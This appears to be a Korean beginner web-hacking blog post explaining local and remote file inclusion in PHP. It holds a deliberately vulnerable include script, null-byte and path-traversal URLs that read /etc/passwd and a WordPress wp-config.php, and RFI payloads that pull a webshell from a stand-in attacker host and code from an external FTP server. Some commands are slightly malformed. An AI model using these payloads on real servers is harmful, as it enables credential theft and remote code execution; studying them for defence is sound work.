LFI&RFI
LFI 와 RFI는 Local과 Remote에 대한 File Inclusion(파일 포함) 을 말한다.
해킹으로 말하자면, LFI와 RFI를 이용하여 웹 서버에 악성 코드를 넣는 기법이다.
가장 대표적인 것이 PHP의 include함수이다.
이 함수의 역할은 특정 파일을 포함시켜 스크립트를 실행한다.
<?php
echo "A $color $fruit";
include 'vars.php';
echo "A $color $fruit";
?>
vars.php의 소스코드는 다음과 같다!
<?php
$color='green';
$fruit='apple';
?>
또한 include함수는 php가 아닌 텍스트도 동일하게 포함시켜 실행한다.
LFI: 서버에 FTP나 자료실로 악성 코드를 업로드시켜 include 시킴
vulnerable.php?COLOR=C:\\ftp\upload\\exploit.txt
RFI: 외부서버의 악성코드를 불러와 include 시킴
vulnerable.php?COLOR=http://evil.example.com/webshell.txt
<SQL injection과 File Inclusion의 차이점>
injection: 외부에서 특정 코드를 주입하는 방식의 해킹기법
Inclusion: 내외부에서 특정 파일을 포함시키는 방식의 해킹기법
example) LFI
color.html
<center>
<form action='./vulnerable.php' method="get">
<select name="COLOR">
<option value="red">red</option>
<option value="blue">blue</option>
</select>
<input type="submit">
</form>
</center>
vulnerable.php
<?php
if(isset($_GET['COLOR']))
$color=$_GET['COLOR'];
include($color.'.php');
?>
hello.txt
<?php
$color='hello';
echo "user : ".$color."\n\n";
?>
http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt
하면, hello.txt가 include되어야 하지만!
아무 일도 일어나지 않는다.
이유: .php확장자가 붙여지기 때문이다.
해결:널바이트를 넣어주어야 한다.
php도 C와 마찬가지로 문자열을 읽으면서 Null Byte를 만나면 해당 문자열이 끝났음을 인식한다.
Null Byte의 URL인코딩 값인 %00을 사용한다.
http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt%00
이러한 공격을 Null Byte 인젝션 혹은 퍼센트 인코딩(Percent Encoding) 이라 한다.
이 공격은 성공하지 못했다. 이 방법은 윈도우에서 통하지 않는다!
!리눅스에서는 NULL이 문자열의 끝을 의미하지만 윈도우는 그렇지 않다!
쨋든, http://localhost/LFIRFI/vulnerable.php?COLOR=C:\apm\Apache24\htdocs\LFIRFI\hello.txt%00 하면 성공해야 한다.
http://localhost/LFIRFI/vulnerable.php?COLOR=C:\\Temp\\password.txt%00하면 시스템의 패스워드 파일도 갖고 올 수 있을 것이다.
cURL을 통한 공격
cURL: Command line tool for transferring files with URL syntax
커맨드라인으로 HTTP 프로토콜 등의 데이터를 전송하는 도구
HTTP뿐만 아니라 HTTPS, FTP, LDAP, SCP, TELNET, SMTP, POP3등 대부분의 주요 프로토콜을 지원한다.
웹 브라우저의 통신을 커맨드로 주고받는다고 생각하면 된다.
취약점이 있는 함수: include, require_once
require_once($_POST["rootpath"]);
이 있다면
rootpath=/etc/passwd를 넣어준다면 패스워드를 탈취할 수 있다!
이 부분이 사용자의 입력 값을 검증하지 않고 curl을 통해 임의의 패스워드 파일을 포함시킨다.
ex) curl -X POST -f "rootpath=/etc/passwd" --url http//192.168.0.2/~~~
Path Traversal을 통한 공격
Path Traversal은 경로 탐색으로 특정 파일을 LFI시키는 것이다.
점 하나: 현재 디렉터리
점 두개: 상위 디렉터리
/ : root
서버의 내부 구조를 아는 경우에만 도움이 된다.
취약점
function addExtension($file)
{
return $file;
}
$files=array_map('addExtension',explode(',',$_GET['files']));
공격
curl --url http://~~~/css/css.php?files=../../../../wp-config.php
wordpress->wp-content->themes->mTheme-Unus->css->css.php
wordpress속에 wp-config.php
config파일 탈취 가능!
RFI는 LFI와는 다르게 외부 파일을 포함시킨다. 이것은 자신이 작성한 악성코드를 웹 취약점을 이용해 포함시켜 해킹하는 방법이다.
공격자가 ftp서버나 http서버에 악성코드르 작성하여 다음과 같이 실행시키면 RFI가 된다.
curl --url http://~~~css/css.php?files=ftp://111.111.1.1/vulnerable.txt
해킹에 대한 일차적인 방어는 시큐어 코딩!!
'웹 해킹 > 웹 해킹 개념' 카테고리의 다른 글
[웹 해킹 입문] 6. WireShark (0) | 2018.01.16 |
---|---|
[웹 해킹 입문] 5. 스캔 (0) | 2018.01.16 |
sqlmap (0) | 2018.01.15 |
[웹 해킹 입문] 3. SQL 인젝션 (6) | 2018.01.08 |
[웹 해킹 입문] 1. 웹해킹 개요 (0) | 2018.01.08 |